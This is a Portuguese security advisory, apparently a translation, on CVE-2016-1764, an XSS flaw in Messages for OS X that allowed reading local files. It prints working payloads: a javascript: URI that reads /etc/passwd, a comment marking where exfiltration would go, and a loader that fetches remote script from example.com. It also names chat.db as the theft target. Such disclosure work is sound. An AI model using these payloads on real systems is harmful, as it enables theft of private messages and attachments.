
Extração de dados do iMessage via XSS

Fornecedor: Apple
Data de Lançamento: 8 de abril de 2016
Data do Patch: 21 de março de 2016
Sistemas Afetados: Messages no OSX Mountain Yosemite, El Capitan
Embora a maior parte do debate recente em torno da Apple tenha sido focada em criptografia, a indústria e as autoridades parecem ter esquecido que vulnerabilidades mais simples, no nível de aplicação, podem ser aproveitadas para dispensar a criptografia por completo. A CVE-2016-1764, corrigida pela Apple em março de 2016, é uma falha na camada de aplicação que resulta na divulgação remota de todo o conteúdo de mensagens e anexos em texto puro ao explorar o cliente iMessage do OS X. Além disso, você não precisa de um diploma em matemática para explorá-la, nem de conhecimento detalhado sobre gerenciamento de memória, shellcode ou elaboradas cadeias de ROP para bypass de ASLR. Na verdade, é uma falha relativamente simples que pode ser explorada por qualquer pessoa com conhecimento básico de JavaScript.
O Messages (iMessage) para OS X da Apple implementa sua interface de usuário usando uma versão incorporada do WebKit; além disso, o Messages no OS X renderiza qualquer URI como um link HTML <a href= clicável. Um atacante pode criar uma simples URI JavaScript (por exemplo, javascript:) que, quando clicada, concede ao atacante execução inicial de JavaScript (XSS) no contexto do DOM da aplicação. Embora a biblioteca WebKit incorporada usada pelo Messages para OS X execute em uma origem applewebdata://, um atacante ainda pode ler arquivos arbitrários usando requisições GET XMLHttpRequest (XHR) para uma URI file://, já que não há política de mesma origem (SOP) implementada. Ao abusar do XHR para ler arquivos, um atacante pode enviar todo o histórico de conversas e anexos de uma vítima para um servidor remoto tão rápido quanto a conexão de Internet da vítima permitir; a única interação do usuário necessária é clicar em um único link no chat. Além disso, se o encaminhamento de SMS estiver ativado, o atacante também pode recuperar mensagens enviadas para, ou a partir do, iPhone da vítima.
Se você quiser saber todos os detalhes, continue lendo.
O Messages para OS X usa uma versão incorporada do WebKit para grande parte de sua interface de usuário. Quando mensagens são enviadas ou recebidas pela aplicação, HTML é inserido no DOM para renderizar a interface e qualquer conteúdo de anexos/mídia que tenha sido enviado. Todas as mensagens enviadas pela aplicação são renderizadas em um DOM e, portanto, vulnerabilidades comuns de segurança do lado do cliente podem afetar a aplicação.
Ao testar o cliente Messages para OS X, descobriu-se que esquemas de protocolos arbitrários eram automaticamente convertidos em links e inseridos no DOM. Por exemplo, as seguintes URIs abaixo são todas inseridas como links no WebView quando enviadas como mensagem:
test://test
smb://[email protected]
file:///etc
anyurihandler://anycontentafter
Como o Messages para OS X não implementa uma lista de permissões de protocolos aceitos, um atacante pode enviar uma mensagem a uma vítima contendo uma URI JavaScript javascript:, que será convertida em um link clicável na máquina da vítima.
Uma vez clicado, o WebKit incorporado executará obedientemente o JavaScript controlado pelo atacante na origem atual, por exemplo:

Observe que %0a (ou seja, \n) é usado para escapar do comentário JavaScript //, o que é necessário para corresponder ao padrão de vinculação do parser. Uma vez interpretado, o código se assemelha a:
//bishopfox.com/research?
prompt(1)
Ao clicar neste link, um prompt de JavaScript é acionado no Messages para OS X:

No entanto, o Messages para OS X é um aplicativo de desktop, não um site. Portanto, o JavaScript é executado no contexto de uma origem applewebdata://:

Porém, o código do atacante é executado em uma implementação completa do WebKit e, portanto, XMLHttpRequest está disponível em tempo de execução. Uma das principais diferenças entre uma versão incorporada do WebKit e um navegador da web como Chrome ou Safari é que a versão incorporada não implementa nenhuma política de mesma origem (SOP), por se tratar de um aplicativo de desktop nativo. Um atacante pode aproveitar isso para ler arquivos do sistema de arquivos local sem violar a política de mesma origem, enviando requisições GET XMLHttpRequest para URIs file://. O único requisito é que o atacante saiba o caminho completo do arquivo; caminhos relativos do sistema de arquivos (por exemplo, ~/.ssh/id_rsa) não podem ser usados.
Por exemplo, o seguinte JavaScript pode ser executado pelo DOM do aplicativo Messages para ler o arquivo /etc/passwd:
function reqListener () {
prompt(this.responseText);
// send back to attackers server here
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///etc/passwd");
oReq.send();
Convertido em um payload de URI, o código aparece da seguinte forma:
javascript://bishopfox.com/research?%0d%0afunction%20reqListener%20()%20%7B%0A%20%20prompt(this.responseText)%3B%0A%7D%0Avar%20oReq%20%3D%20new%20XMLHttpRequest()%3B%0AoReq.addEventListener(%22load%22%2C%20reqListener)%3B%0AoReq.open(%22GET%22%2C%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22)%3B%0AoReq.send()%3B
Ao ser clicado no aplicativo Messages, o seguinte prompt aparece:

Como o vetor acima é bastante longo e parece excessivamente suspeito, é possível encurtar a URI carregando dinamicamente JavaScript de um domínio e incluindo-o no DOM. Por exemplo, o vetor abaixo injeta o JavaScript de http://example.com/1.js no DOM do Messages:
javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29
O arquivo JavaScript referenciado como //example.com/1.js no vetor acima pode conter instruções JavaScript arbitrárias de comprimento arbitrário.
No entanto, a sandbox de aplicativos do OS X restringia o acesso ao sistema de arquivos apenas a ~/Library/Messages/* e a alguns outros diretórios do sistema não pertencentes ao usuário, como /etc/.
Quando mensagens e anexos são recebidos pelo Messages no OS X, eles são salvos no seguinte diretório:
/Users/<username>/Library/Messages/*
O conteúdo textual dessas mensagens e outros metadados são armazenados em um banco de dados SQLite localizado em:
/Users/<username>/Library/Messages/chat.db
Esse banco de dados também contém os locais de todos os anexos que estão na máquina do usuário.
Para roubar esse banco de dados e, consequentemente, todos os anexos já recebidos ou enviados por uma vítima, é necessário um payload de ataque mais avançado.